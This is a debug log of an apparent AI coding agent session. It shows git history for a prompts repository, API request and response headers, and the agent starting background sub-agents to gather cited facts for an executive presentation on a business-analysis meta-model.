\"0.5\",\n[2026-09-29T07:44:23.241Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": 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\"tool_result\",\n[2026-09-29T07:44:27.061Z] [INFO]         \"content\": \"* main\\n  remotes/origin/HEAD -> origin/main\\n  remotes/origin/gh-pages\\n  remotes/origin/main\\n  remotes/origin/revert-340-issue-339-c354031e9147\\n* remote origin\\n  Fetch URL: https://github.com/G-Ivan-A/mango_ba_prompts.git\\n  Push  URL: https://github.com/G-Ivan-A/mango_ba_prompts.git\\n  HEAD branch: main\\n  Remote branches:\\n583\\n53506bc 2026-06-02 Add files via upload\\n63f735e 2026-06-02 Initial commit with task details\\nd159ab2 2026-06-02 docs(audit): add bootstrap audit & migration RFC for mango_ba_prompts\\n43a1dcc 2026-06-02 Revert \\\"Initial commit with task details\\\"\\nffc305f 2026-06-02 Merge pull request #5 from konard/issue-4-36ceecd1f416\\n8d8a65c 2026-06-02 Initial commit with task details\\n0c10eda 2026-06-02 bootstrap: initialize repository structure with free improvements from teams C and Q\\n51c63a3 2026-06-02 Merge pull request #7 from konard/issue-6-b53e40bb481f\\neb6f388 2026-06-02 Initial commit with task details\\nc8dd431 2026-06-02 creative: propose migration strategy for Mango project from hub to spoke\\n4592401 2026-06-02 Merge pull request #9 from konard/issue-8-43f6d6ea3b62\\n9f9ad47 2026-06-02 Initial commit with task details\\naf1be93 2026-06-02 Merge pull request #11 from konard/issue-10-bc300e310466\\ne16620d 2026-06-02 refine: clarify Mango migration RFC phase 1\\naea0211 2026-06-02 Merge pull request #15 from konard/issue-10-bc300e310466\\n8b520ea 2026-06-03 Initial commit with task details\\n83360d5 2026-06-03 refine: complete migration-rfc with dependencies and workflow (part 2)\\n99be8c5 2026-06-03 Merge pull request #16 from konard/issue-12-58548950e08d\\n0b007fb 2026-06-03 Initial commit with task details\\n2cc8f87 2026-06-03 review: Human Review \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e migration-strategy-rfc.md (issue #13)\\n317a0a1 2026-09-28 Merge pull request #366 from konard/issue-365-48d280e4928e\\ntotal 360\\ndrwxr-xr-x 18 box  box    4096 Sep 29 07:44 .\\ndrwxrwxrwt  1 root root   4096 Sep 29 07:44 ..\\ndrwxr-xr-x  3 box  box    4096 Sep 29 07:44 .archive\\ndrwxr-xr-x  8 box  box    4096 Sep 29 07:44 .git\\n-rw-r--r--  1 box  box     172 Sep 29 07:44 .gitattributes\\ndrwxr-xr-x  4 box  box    4096 Sep 29 07:44 .github\\n-rw-r--r--  1 box  box    1427 Sep 29 07:44 .gitignore\\n-rw-r--r--  1 box  box    9222 Sep 29 07:44 .hub-profile.json\\n-rw-r--r--  1 box  box  216647 Sep 29 07:44 CHANGELOG.md\\n-rw-r--r--  1 box  box    8595 Sep 29 07:44 CONTRIBUTING.md\\n-rw-r--r--  1 box  box    1070 Sep 29 07:44 LICENSE\\n-rw-r--r--  1 box  box    9975 Sep 29 07:44 Makefile\\n-rw-r--r--  1 box  box   23601 Sep 29 07:44 README.md\\ndrwxr-xr-x  2 box  box    4096 Sep 29 07:44 ai-governance\\ndrwxr-xr-x  2 box  box    4096 Sep 29 07:44 ai-rules\\ndrwxr-xr-x 13 box  box    4096 Sep 29 07:44 docs\\ndrwxr-xr-x 11 box  box    4096 Sep 29 07:44 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\"timestamp\": \"2026-09-29T07:44:27.055Z\",\n[2026-09-29T07:44:27.061Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:27.061Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:27.061Z] [INFO] }\n[2026-09-29T07:44:27.091Z] [STDOUT] [log_500c69] sending request {\n[2026-09-29T07:44:27.095Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:27.099Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:27.103Z] [STDOUT]   options: {\n[2026-09-29T07:44:27.105Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:27.108Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:27.112Z] [STDOUT]     body: {\n[2026-09-29T07:44:27.119Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:27.123Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:27.129Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:27.135Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:27.142Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:27.152Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:27.155Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:27.159Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:27.162Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:27.165Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:27.174Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:27.177Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:27.183Z] [STDOUT]     },\n[2026-09-29T07:44:27.187Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:27.193Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:27.197Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:27.201Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:27.204Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:27.208Z] [STDOUT]     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(external, sdk-cli)\",\n[2026-09-29T07:44:27.279Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:27.282Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:27.284Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:27.287Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1710\",\n[2026-09-29T07:44:27.291Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:27.293Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:27.299Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:27.303Z] [STDOUT]     \"x-client-request-id\": \"8e3bdcae-731a-4694-9bb8-8e8adb7235e4\",\n[2026-09-29T07:44:27.310Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:27.315Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:27.319Z] [STDOUT]     \"x-stainless-os\": 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response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:27.989Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:27 GMT\",\n[2026-09-29T07:44:27.991Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:27.994Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:27.996Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:28.001Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:28.005Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:28.009Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:28.012Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:28.015Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:28.018Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:28.021Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:28.024Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:28.028Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:28.035Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:28.039Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:28.045Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:28.048Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:28.056Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:28.060Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:28.066Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": 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}\n[2026-09-29T07:44:29.280Z] [INFO] {\n[2026-09-29T07:44:29.280Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:29.280Z] [INFO]   \"message\": {\n[2026-09-29T07:44:29.280Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:29.280Z] [INFO]     \"id\": \"msg_011CfXMfKMwHxkfowaZNkZ7Z\",\n[2026-09-29T07:44:29.280Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:29.280Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:29.280Z] [INFO]     \"content\": [\n[2026-09-29T07:44:29.280Z] [INFO]       {\n[2026-09-29T07:44:29.280Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:29.280Z] [INFO]         \"id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:29.280Z] [INFO]         \"name\": \"Agent\",\n[2026-09-29T07:44:29.280Z] [INFO]         \"input\": {\n[2026-09-29T07:44:29.280Z] [INFO]           \"description\": \"Analyze ba-requirements research\",\n[2026-09-29T07:44:29.280Z] [INFO]           \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:29.280Z] [INFO]           \"prompt\": \"Research task (read-only; do NOT modify repository files; write notes only to /tmp/research-notes/ba-requirements.md, mkdir -p first). Repo at /tmp/gh-issue-solver-1790667776920 (hybrid-Intelligence-lab). Branch `origin/issue-639-405767e7672e` has been fetched; its research/ba-requirements/ dir (122 files) may differ from main. Use `git diff --stat main origin/issue-639-405767e7672e -- research/ba-requirements` to see what's new on that branch, and `git show origin/issue-639-405767e7672e:` to read files. Also read research/ba-requirements on the current checkout (main-based).\\n\\nI'm preparing an executive presentation to the Head of AI development at Mango about a BA (business-analysis) meta-model (Product \u2192 Process \u2192 Operation \u2192 Artifact) and its runtime environments. Extract verified, presentation-worthy facts from research/ba-requirements:\\n1. Empirical snapshots of Mango runs (e.g. 2026-08-25-mango-runs-empirical-snapshot.md, rrp-full-cycle-corpus-facts, artifact-structure-variance-facts): concrete numbers (number of runs, defect classes, variance, rework etc.) with file paths.\\n2. The hypothesis that cognitive operations are poorly suited to direct AI generation, and the solution of digitizing cognitive operations into strict prompts + machine-readable contracts with fail-closed validation: find where this is argued/evidenced.\\n3. Normalization, methodology-unification, orchestration, solution-modeling, artifact-micro-structure, artifact-rendering, feedback-and-evolution subdirs: 2-3 lines each of key conclusions.\\n4. GigaCode environment facts, skill granularity/format facts, process taxonomy defects.\\n5. What's new on branch issue-639 vs main (summarize key additions).\\nCite every fact with the repo path. Do not invent numbers. Absolute URL format for main: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/; for branch-only files: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/. Write the full report to the notes file and return a concise summary (up to ~1500 words).\"\n[2026-09-29T07:44:29.280Z] [INFO]         },\n[2026-09-29T07:44:29.280Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:29.280Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:29.280Z] [INFO]         }\n[2026-09-29T07:44:29.280Z] [INFO]       }\n[2026-09-29T07:44:29.280Z] [INFO]     ],\n[2026-09-29T07:44:29.280Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:29.280Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:29.280Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:29.280Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:29.280Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:29.280Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:29.280Z] [INFO]       \"cache_creation_input_tokens\": 968,\n[2026-09-29T07:44:29.280Z] [INFO]       \"cache_read_input_tokens\": 32813,\n[2026-09-29T07:44:29.280Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:29.280Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:29.280Z] [INFO]         \"ephemeral_1h_input_tokens\": 968\n[2026-09-29T07:44:29.280Z] [INFO]       },\n[2026-09-29T07:44:29.280Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:44:29.280Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:29.280Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:29.280Z] [INFO]     },\n[2026-09-29T07:44:29.280Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:29.280Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:29.280Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:29.280Z] [INFO]   },\n[2026-09-29T07:44:29.280Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:29.280Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:29.280Z] [INFO]   \"uuid\": \"f3ae7d68-d70b-4f47-bcd9-0f2a5e6f0da1\",\n[2026-09-29T07:44:29.280Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:29.274Z\",\n[2026-09-29T07:44:29.280Z] [INFO]   \"request_id\": \"req_011CfXMfJrAzrbk2QzHMedkb\",\n[2026-09-29T07:44:29.280Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:44:29.280Z] [INFO]     \"toolu_01GFx7YR63TmqWwLsYXBMEow\": {\n[2026-09-29T07:44:29.280Z] [INFO]       \"description\": \"Analyze ba-requirements research\",\n[2026-09-29T07:44:29.280Z] [INFO]       \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:29.280Z] [INFO]       \"prompt\": \"Research task (read-only; do NOT modify repository files; write notes only to /tmp/research-notes/ba-requirements.md, mkdir -p first). Repo at /tmp/gh-issue-solver-1790667776920 (hybrid-Intelligence-lab). Branch `origin/issue-639-405767e7672e` has been fetched; its research/ba-requirements/ dir (122 files) may differ from main. Use `git diff --stat main origin/issue-639-405767e7672e -- research/ba-requirements` to see what's new on that branch, and `git show origin/issue-639-405767e7672e:` to read files. Also read research/ba-requirements on the current checkout (main-based).\\n\\nI'm preparing an executive presentation to the Head of AI development at Mango about a BA (business-analysis) meta-model (Product \u2192 Process \u2192 Operation \u2192 Artifact) and its runtime environments. Extract verified, presentation-worthy facts from research/ba-requirements:\\n1. Empirical snapshots of Mango runs (e.g. 2026-08-25-mango-runs-empirical-snapshot.md, rrp-full-cycle-corpus-facts, artifact-structure-variance-facts): concrete numbers (number of runs, defect classes, variance, rework etc.) with file paths.\\n2. The hypothesis that cognitive operations are poorly suited to direct AI generation, and the solution of digitizing cognitive operations into strict prompts + machine-readable contracts with fail-closed validation: find where this is argued/evidenced.\\n3. Normalization, methodology-unification, orchestration, solution-modeling, artifact-micro-structure, artifact-rendering, feedback-and-evolution subdirs: 2-3 lines each of key conclusions.\\n4. GigaCode environment facts, skill granularity/format facts, process taxonomy defects.\\n5. What's new on branch issue-639 vs main (summarize key additions).\\nCite every fact with the repo path. Do not invent numbers. Absolute URL format for main: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/; for branch-only files: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/. Write the full report to the notes file and return a concise summary (up to ~1500 words).\"\n[2026-09-29T07:44:29.280Z] [INFO]     }\n[2026-09-29T07:44:29.280Z] [INFO]   }\n[2026-09-29T07:44:29.280Z] [INFO] }\n[2026-09-29T07:44:29.289Z] [INFO] \ud83e\udd16 Sub-agent call #2: \"Analyze ba-requirements research\" (model: default)\n[2026-09-29T07:44:29.294Z] [INFO] {\n[2026-09-29T07:44:29.294Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:29.294Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T07:44:29.294Z] [INFO]   \"tasks\": [\n[2026-09-29T07:44:29.294Z] [INFO]     {\n[2026-09-29T07:44:29.294Z] [INFO]       \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:29.294Z] [INFO]       \"task_type\": \"local_agent\",\n[2026-09-29T07:44:29.294Z] [INFO]       \"description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:29.294Z] [INFO]     },\n[2026-09-29T07:44:29.294Z] [INFO]     {\n[2026-09-29T07:44:29.294Z] [INFO]       \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:29.294Z] [INFO]       \"task_type\": \"local_agent\",\n[2026-09-29T07:44:29.294Z] [INFO]       \"description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:29.294Z] [INFO]     }\n[2026-09-29T07:44:29.294Z] [INFO]   ],\n[2026-09-29T07:44:29.294Z] [INFO]   \"uuid\": \"56bf8867-69db-4c79-8af3-ff438ad73cd8\",\n[2026-09-29T07:44:29.294Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:29.294Z] [INFO] }\n[2026-09-29T07:44:29.299Z] [INFO] {\n[2026-09-29T07:44:29.299Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"description\": \"Analyze ba-requirements research\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"is_backgrounded\": true,\n[2026-09-29T07:44:29.299Z] [INFO]   \"spawn_depth\": 1,\n[2026-09-29T07:44:29.299Z] [INFO]   \"task_type\": \"local_agent\",\n[2026-09-29T07:44:29.299Z] [INFO]   \"prompt\": \"Research task (read-only; do NOT modify repository files; write notes only to /tmp/research-notes/ba-requirements.md, mkdir -p first). Repo at /tmp/gh-issue-solver-1790667776920 (hybrid-Intelligence-lab). Branch `origin/issue-639-405767e7672e` has been fetched; its research/ba-requirements/ dir (122 files) may differ from main. Use `git diff --stat main origin/issue-639-405767e7672e -- research/ba-requirements` to see what's new on that branch, and `git show origin/issue-639-405767e7672e:` to read files. Also read research/ba-requirements on the current checkout (main-based).\\n\\nI'm preparing an executive presentation to the Head of AI development at Mango about a BA (business-analysis) meta-model (Product \u2192 Process \u2192 Operation \u2192 Artifact) and its runtime environments. Extract verified, presentation-worthy facts from research/ba-requirements:\\n1. Empirical snapshots of Mango runs (e.g. 2026-08-25-mango-runs-empirical-snapshot.md, rrp-full-cycle-corpus-facts, artifact-structure-variance-facts): concrete numbers (number of runs, defect classes, variance, rework etc.) with file paths.\\n2. The hypothesis that cognitive operations are poorly suited to direct AI generation, and the solution of digitizing cognitive operations into strict prompts + machine-readable contracts with fail-closed validation: find where this is argued/evidenced.\\n3. Normalization, methodology-unification, orchestration, solution-modeling, artifact-micro-structure, artifact-rendering, feedback-and-evolution subdirs: 2-3 lines each of key conclusions.\\n4. GigaCode environment facts, skill granularity/format facts, process taxonomy defects.\\n5. What's new on branch issue-639 vs main (summarize key additions).\\nCite every fact with the repo path. Do not invent numbers. Absolute URL format for main: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/; for branch-only files: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/. 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(This tool result is internal metadata \u2014 never quote or paste any part of it, including the agentId below, into a user-facing reply.)\\nagentId: a8223c4e8f50f54ab (internal ID - do not mention to user. Use SendMessage with to: 'a8223c4e8f50f54ab', summary: '<5-10 word recap>' to continue this agent.)\\nThe agent is working in the background. You will be notified automatically when it completes. You know nothing about its results until that notification arrives \u2014 do not report, assume, or predict them; continue other work or respond to the user in the meantime.\\nDo not duplicate this agent's work \u2014 avoid working with the same files or topics it is using.\\noutput_file: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/a8223c4e8f50f54ab.output\\nDo NOT Read or tail this file via the shell tool \u2014 it is the full subagent JSONL transcript and reading it will overflow your context. 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Repo at /tmp/gh-issue-solver-1790667776920 (hybrid-Intelligence-lab). Branch `origin/issue-639-405767e7672e` has been fetched; its research/ba-requirements/ dir (122 files) may differ from main. Use `git diff --stat main origin/issue-639-405767e7672e -- research/ba-requirements` to see what's new on that branch, and `git show origin/issue-639-405767e7672e:` to read files. Also read research/ba-requirements on the current checkout (main-based).\\n\\nI'm preparing an executive presentation to the Head of AI development at Mango about a BA (business-analysis) meta-model (Product \u2192 Process \u2192 Operation \u2192 Artifact) and its runtime environments. Extract verified, presentation-worthy facts from research/ba-requirements:\\n1. Empirical snapshots of Mango runs (e.g. 2026-08-25-mango-runs-empirical-snapshot.md, rrp-full-cycle-corpus-facts, artifact-structure-variance-facts): concrete numbers (number of runs, defect classes, variance, rework etc.) with file paths.\\n2. The hypothesis that cognitive operations are poorly suited to direct AI generation, and the solution of digitizing cognitive operations into strict prompts + machine-readable contracts with fail-closed validation: find where this is argued/evidenced.\\n3. Normalization, methodology-unification, orchestration, solution-modeling, artifact-micro-structure, artifact-rendering, feedback-and-evolution subdirs: 2-3 lines each of key conclusions.\\n4. GigaCode environment facts, skill granularity/format facts, process taxonomy defects.\\n5. What's new on branch issue-639 vs main (summarize key additions).\\nCite every fact with the repo path. Do not invent numbers. Absolute URL format for main: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/; for branch-only files: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/. 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\"stop_reason\": null,\n[2026-09-29T07:44:30.750Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:30.750Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:30.750Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:30.750Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:30.750Z] [INFO]       \"cache_creation_input_tokens\": 4215,\n[2026-09-29T07:44:30.750Z] [INFO]       \"cache_read_input_tokens\": 5547,\n[2026-09-29T07:44:30.750Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:30.750Z] [INFO]         \"ephemeral_5m_input_tokens\": 4215,\n[2026-09-29T07:44:30.750Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:30.750Z] [INFO]       },\n[2026-09-29T07:44:30.750Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:44:30.750Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:30.750Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:30.750Z] [INFO]     },\n[2026-09-29T07:44:30.750Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:30.750Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:30.750Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:30.750Z] [INFO]   },\n[2026-09-29T07:44:30.750Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"uuid\": \"2b7c605d-6fc1-4dc5-8bdb-b6b23316f680\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:30.746Z\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"request_id\": \"req_011CfXMggA7CSpM6Yy1g1hDw\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:30.750Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:30.750Z] [INFO] }\n[2026-09-29T07:44:30.762Z] [STDOUT] [log_9f92db] sending request {\n[2026-09-29T07:44:30.768Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:30.772Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:30.775Z] [STDOUT]   options: {\n[2026-09-29T07:44:30.778Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:30.782Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:30.784Z] [STDOUT]     body: {\n[2026-09-29T07:44:30.788Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:30.791Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:30.794Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:30.796Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:30.798Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:30.801Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:30.804Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:30.807Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:30.811Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:30.814Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:30.818Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:30.821Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:30.824Z] [STDOUT]     },\n[2026-09-29T07:44:30.828Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:30.832Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:30.838Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:30.842Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:30.844Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:30.848Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:30.851Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:30.854Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:30.857Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:30.860Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:30.864Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:30.868Z] [STDOUT]     },\n[2026-09-29T07:44:30.872Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:30.877Z] [STDOUT]   },\n[2026-09-29T07:44:30.880Z] [STDOUT]   headers: {\n[2026-09-29T07:44:30.883Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:30.885Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:30.889Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:30.891Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:30.894Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:30.897Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:30.899Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:30.902Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:30.904Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:30.907Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:30.910Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:30.912Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1364\",\n[2026-09-29T07:44:30.917Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:30.920Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:30.924Z] [STDOUT]     \"x-claude-code-session-id\": 